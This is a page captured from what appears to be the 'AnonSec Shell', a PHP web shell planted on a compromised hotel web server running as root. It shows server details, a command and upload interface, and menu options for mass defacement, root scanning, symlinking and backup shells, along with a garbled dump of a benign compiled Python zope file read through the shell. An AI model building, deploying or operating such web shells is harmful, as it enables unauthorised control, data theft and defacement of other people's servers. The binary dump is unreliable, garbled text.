AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/__pycache__/zcml.cpython-310.pyc
o

,�W�O�@sJdZddlmZddlmZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZdd
lm
Z
ddlmZddlmZdd
lmZddlmZmZddlmZddlmZzddlmZWney}dd�ZeZZZ Z!eZYnwddl"mZddl"mZddl"m Z ddl"m#Z#e
d�Z$Gdd�de%e�Z&dd�Z'Gdd�de�Z(Gdd �d e�Z)d!d"�Z*	#	%d@d&d'�Z+Gd(d)�d)e�Z,e'Z-	#	%dAd*d+�Z.Gd,d-�d-e(�Z/	#	$dBd.d/�Z0Gd0d1�d1e�Z1dCd2d3�Z2Gd4d5�d5e�Z3Gd6d7�d7e�Z4Gd8d9�d9e3e4�Z5d#d#d#efd:d;�Z6Gd<d=�d=e(e4�Z7d#d#d#efd>d?�Z8d#S)Dz.Component Architecture configuration handlers
���ConfigurationError)�Bool)�GlobalInterface)�GlobalObject)�PythonIdentifier)�Tokens)�MessageFactory)�	Interface)�
implementedBy)�
providedBy)�TextLine)�getSiteManager)�	adaptedBy�getName)�provideInterface)�_BLANK)�
PermissioncOstd��)NzTsecurity proxied components are not supported because zope.security is not availabler)�args�kw�r�5/usr/lib/python3/dist-packages/zope/component/zcml.py�_no_security$sr)�_checker��proxify)�protectedFactory)�securityAdapterFactory�zopec@seZdZdS)�ComponentConfigurationErrorN)�__name__�
__module__�__qualname__rrrrr1srcOstt�|�}||i|��dS�N)�getattrr)�
methodNamer�kwargs�methodrrr�handler4sr(c@sNeZdZeed�ed�dd�Zeed�ed�dd�Zeed�ed�dd�Zd	S)
�IBasicComponentInformationzComponent to usez�Python name of the implementation object.  This must identify an object in a module using the full dotted name.  If specified, the ``factory`` field must be left blank.F��title�description�requiredrz*Permission required to use this component.�Factoryz�Python name of a factory which can create the implementation object.  This must identify an object in a module using the full dotted name. If specified, the ``component`` field must be left blank.N)	r r!r"r�_�	componentr�
permission�factoryrrrrr)8s �	�
�r)c@s�eZdZdZeed�ed�de�d�Zeed�ed�dd	�Z	eed
�ed�dee
�d�d�Zeed
�ed�dd	�Z
eed�ed�dd	�Zeed�ed�ddd�Zeed�ed�ddd�ZdS)�IAdapterDirectivez
    Register an adapter
    zAdapter factory/factorieszHA list of factories (usually just one) that create the adapter instance.T�r+r,r-�
value_type� Interface the component provides�IThis attribute specifies the interface the adapter instance must provide.Fr*zSpecifications to be adapted�.This should be a list of interfaces or classes��
missing_valuerzEThis adapter is only available, if the principal has this permission.�NamezYAdapters can have names.

This attribute allows you to specify the name for this adapter.�TrustedaIMake the adapter a trusted adapter

        Trusted adapters have unfettered access to the objects they
        adapt.  If asked to adapt security-proxied objects, then,
        rather than getting an unproxied adapter of security-proxied
        objects, you get a security-proxied adapter of unproxied
        objects.
        �r+r,r-�default�Locatez�Make the adapter a locatable adapter

        Located adapter should be used if a non-public permission
        is used.
        N)r r!r"�__doc__rr/rr2r�provides�object�for_rr1r
�namer�trusted�locaterrrrr3SsV����	���
�r3cs�fdd�}�d|_|S)Ncs�D]}||�}q|Sr#r)�ob�f��	factoriesrrr2�s
z!_rolledUpFactory.<locals>.factoryr�r2)rJr2rrIr�_rolledUpFactory�s
rLN�Fc	Cs�|durt|�dkrt|d�}|durtd��t|�}|dur@t|�dkr8tt|d��}t|�dkr8|d}|dur@td��|dkrPt|�dkrPt|d�}|}	t|	�dkr]|	d}nt|	�dkrgtd��t|	�dkrwt|�dkrwtd��t|	�}|dur�t	|||�}|s�|dus�|r�t
||||�}|jd|||ftd	|||||j
fd
�|jdtd|fd
�|r�|D]}
|
dur�|jdtd|
fd
�q�dSdS)N�rzJNo for attribute was provided and can't determine what the factory adapts.�Missing 'provides' attributerMzNo factory specified�-Can't use multiple factories and multiple for�adapter�registerAdapter��
discriminator�callabler)�lenr�	TypeError�tuple�listrrrrLrr�actionr(�infor)�_contextr2rArCr1rDrErF�prJ�ifacerrrrQ�sj
�
������rQc@s�eZdZdZeed�ed�dd�Zeed�ed�dd�Zeed�ed	�dd�Z	e
ed
�ed�dee�d�d
�Ze
ed�ed�dd�Zeed�ed�ddd�Zeed�ed�ddd�ZdS)�ISubscriberDirectivez
    Register a subscriber
    zSubscriber factoryz1A factory used to create the subscriber instance.Fr*�Handlerz&A callable object that handles events.r6r7z5Interfaces or classes that this subscriber depends onr8r9r4rzHThis subscriber is only available, if the principal has this permission.r<aXMake the subscriber a trusted subscriber

        Trusted subscribers have unfettered access to the objects they
        adapt.  If asked to adapt security-proxied objects, then,
        rather than getting an unproxied subscriber of security-proxied
        objects, you get a security-proxied subscriber of unproxied
        objects.
        r=r?z�Make the subscriber a locatable subscriber

        Located subscribers should be used if a non-public permission
        is used.
        N)r r!r"r@rr/r2r(rrArrBrCrr1rrErFrrrrr_�sT�����	��
�r_c		Cs2|dur|durtd��|durtd��|}n|durtd��|dur'td��|dur7t|�}|dur7td��|durAt|||�}t|�}|sM|dusM|rTt||||�}|durg|jdtd||t|jfd�n|jdtd|||t|jfd�|dur�|jdt	d	|fd�|D]}|dur�|jdt	d	|fd�q�dS)
NzNo factory or handler providedz Cannot use handler with provideszCannot use handler with factoryz@You must specify a provided interface when registering a factoryzWNo for attribute was provided and can't determine what the factory (or handler) adapts.�registerHandlerrS�registerSubscriptionAdapterrM)
rWrrrXrrZ�_handlerrr[r)	r\rCr2r(rAr1rErFr^rrr�
subscriber&sf�
��������rdc@s<eZdZdZeed�ed�dd�Zeed�ed�dd�ZdS)	�IUtilityDirectivezRegister a utility.zProvided interfacez"Interface provided by the utility.Fr*r;zTName of the registration.  This is used by application code when locating a utility.N)	r r!r"r@rr/rAr
rDrrrrreds�
�recCs�|r|rtd��|dur*|rtt|��}ntt|��}t|�dkr&|d}ntd��|dkr9|r5t|�}nt|�}|durDt|||d�}|jd||ftd||||j	ft
|d	�d
�|jdtd|fd�dS)Nz$Can't specify factory and component.rNrrOrM)rAr1�utility�registerUtilityrK)rTrUrrrS)rWrYrrrVrrrZr(r[�dictr)r\rAr0r2r1rDrrrrfts4

�
�rfc@s@eZdZdZeed�dd�Zeed�dd�Zeed�dd�Z	dS)	�IInterfaceDirectivez
    Define an interface
    r
T�r+r-zInterface typeFr;N)
r r!r"r@rr/�	interface�typer
rDrrrrri�s��
�ricCs|jdt|||fd�dS)NrS)rZr)r\rkrlrDrrrrk�s

�rkc@s�eZdZdZeed�ed�dee�d�d�Ze	ed�ed�d	d
�Z
eed�ed�d	d
�Zeed
�ed�d	e�d�Z
eed�ed�d	e�d�ZdS)�IBasicViewInformationz,This is the basic information for all views.z*Specifications of the objects to be viewedz7This should be a list of interfaces or classes
        Tr9r4rz&The permission needed to use the view.Fr*�Classz2A class that provides attributes used by the view.�6Interface that is also allowed if user has permission.a=
        By default, 'permission' only applies to viewing the view and
        any possible sub views. By specifying this attribute, you can
        make the permission also apply to everything described in the
        supplied interface.

        Multiple interfaces can be provided, separated by
        whitespace.zAView attributes that are also allowed if the user has permission.z�
        By default, 'permission' only applies to viewing the view and
        any possible sub views. By specifying 'allowed_attributes',
        you can make the permission also apply to the extra attributes
        on the view object.N)r r!r"r@rr/rrBrCrr1�class_r�allowed_interfacer�allowed_attributesrrrrrm�s@��
���
�rmc@sPeZdZdZeed�ed�ded�Zeed�ed�de	d�Z
eed	�dd
�ZdS)�IBasicResourceInformationz)
    Basic information for resources
    zThe name of the resource.z3The name shows up in URLs/paths. For example 'foo'.Tr=z&The interface this component provides.zi
        A view can provide an interface.  This would be used for
        views that support other views.FzRequest typerjN)r r!r"r@r
r/rrDrr
rArlrrrrrs�s$��	
�rsc@s$eZdZdZeed�de�d�ZdS)�IViewDirectivezRegister a view for a componentr.F�r+r-r5N)r r!r"r@rr/rr2rrrrrts
�rtc		s>|s|r
|s
td��|dur&t||||�}	Gdd�dt�}
|
|d|	�|d<|s,td��t|�}|�t��dkr=�d}n%t��dkrGtd��t��dkrWt|�dkrWtd	���fd
d�}�d|_||f}|jd|||ftd
|||||jfd�|jdt	d|fd�|dur�|D]}|dur�|jdt	d|fd�q�dSdS)NzF'permission' required with 'allowed_interface' or 'allowed_attributes'c@s eZdZdZdd�Zdd�ZdS)zview.<locals>.ProxyViewz#Class to create simple proxy views.cSs||_||_dSr#)r2�checker)�selfr2rvrrr�__init__s
z view.<locals>.ProxyView.__init__cWst|j|�|j�Sr#)rr2rv)rw�objectsrrr�__call__#sz view.<locals>.ProxyView.__call__N)r r!r"r@rxrzrrrr�	ProxyViewsr{���zNo for interfaces specifiedrNrzNo view factory specifiedrPcs(�dd�D]}||�}q�d||�S)Nr|r)rG�requestrHrIrrr27s
zview.<locals>.factory�viewrRrSrM)
rrrBrXrVr2rZr(r[r)r\r2rlrDrCr1rqrrrArvr{r^rrIrr~
sd���

�


������r~c@s8eZdZdZeed�de�d�Zeed�de�d�Z	dS)�IResourceDirectivezRegister a resourceroFruz=View attributes that are also allowed if user has permission.N)
r r!r"r@rr/rrqrrrrrrrrVs�
�rc
	Cs�|s|r
|s
td��|dur!t||||�}||fdd�}	||	_|	}|jd|||ftd||f|||jfd�|jdtd|fd�|jdtd|fd�dS)NzDMust use name attribute with allowed_interface or allowed_attributescSst||�|�Sr#r)r}r2rvrrr�
proxyResourcexszresource.<locals>.proxyResource�resourcerRrSrM)rrr2rZr(r[r)
r\r2rlrDr1rqrrrArvr�rrrr�gs<���
���
�r�)NNNrMFF)NNNNNFF)NNNNrM)NrM)9r@�zope.configuration.exceptionsr�zope.configuration.fieldsrrrrr�zope.i18nmessageidr	�zope.interfacer
rr�zope.schemar
�zope.component._apir�zope.component._declarationrr�zope.component.interfacer�zope.component._compatr�zope.security.zcmlr�ImportErrorrrrr�security�zope.component.securityrr/�
ValueErrorrr(r)r3rLrQr_rcrdrerfrirkrmrsrtr~rr�rrrr�<module>s|
�E
�AA
�>
�$
3

�L��

Anon7 - 2022
AnonSec Team